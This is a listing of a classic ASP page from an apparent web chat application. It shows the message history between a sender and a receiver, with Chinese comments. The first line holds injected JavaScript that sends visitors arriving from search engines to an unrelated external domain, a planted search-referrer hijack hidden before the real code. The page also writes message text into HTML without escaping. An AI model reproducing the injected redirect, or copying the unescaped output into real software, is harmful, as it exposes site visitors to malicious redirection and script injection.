d:\wwwroot\wuchunhua\qq\list_history.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002:    '变量定义
003:    Dim back_message,accept_id,send_id
004:
005:    'Request对象中必须有send_id或者accept_id参数
006:    If Request("send_id")="" Or Request("accept_id")="" Then
007:       Response.Write ("超链接错误:Request对象中必须有send_id或者accept_id参数")
008:       Response.End
009:    End If
010:
011:    '获得消息接收者的ID号
012:    accept_id=Request("accept_id")
013:    '获得消息发送者的ID号
014:    send_id=Request("send_id")
015:
016:    '显示历史消息记录的函数
017:    Function list_message(back_message,accept_id,send_id)
018:       '变量定义
019:       Dim write_txt,strs,strs1,strs2
020:
021:       '循环处理消息
022:       Do While(instr(back_message,"|" & accept_id & "," & send_id & ",")>0 Or instr(back_message,"|" & send_id  & "," & accept_id & ",")>0)
023:          '发送和接受的消息
024:          lens1=instr(back_message,"|" & accept_id & "," & send_id & ",")
025:          lens2=instr(back_message,"|" & send_id  & "," & accept_id & ",")
026:
027:          '如果发送过消息
028:          If lens1>0 Then
029:             '如果接收过消息,并在发送消息在接收消息之后
030:             If lens1>lens2 And lens2<>0 Then
031:                '获得从接受消息位置开始的所有字符
032:                strs=mid(back_message,lens2)
033:             Else
034:                '获得从发送消息位置开始的所有字符
035:                strs=mid(back_message,lens1)
036:             End If
037:          Else
038:             '没有发送过消息,获得从发送消息位置开始的所有字符
039:             strs=mid(back_message,lens2)
040:          End If
041:         
042:          '使用|字符将字符串分割成一条条的消息
043:          strs2=split(strs,"|")
044:
045:          '如果记录多于1条
046:          If len(strs)>(len(strs2(1))+1) Then
047:             '设置back_message变量的值
048:             back_message=mid(strs,cint(len(strs2(1))+1))
049:          Else
050:             '设置back_message变量的值
051:             back_message="||"
052:          End If
053:         
054:          '使用,字符将消息字符串分解成为各个部分
055:          strs1=split(strs2(1),",")
056:
057:          '输出显示消息的HTML代码
058:          '显示消息内容、发送时间、发送人等
059:          write_txt="<font color=red size=2>(" & strs1(3) & ")&nbsp;&nbsp;&nbsp;" & strs1(4) & "</font><br><font color=blue size=2>" & strs1(2) & "</font><br>" & write_txt
060:       Loop
061:       
062:       '输出write_txt字符串变量
063:       Response.Write write_txt
064:
065:       '返回值
066:       list_message=write_txt
067:    End Function
068:
069:    '显示消息
070:    Dim lens1,lens2
071:
072:    '历史消息记录
073:    back_message=Application("back_messages")
074:
075:    '历史消息记录不为空
076:    If back_message<>"" Then
077:       '显示消息
078:       list_message back_message,accept_id,send_id
079:    End If
080: %
>
081:
082: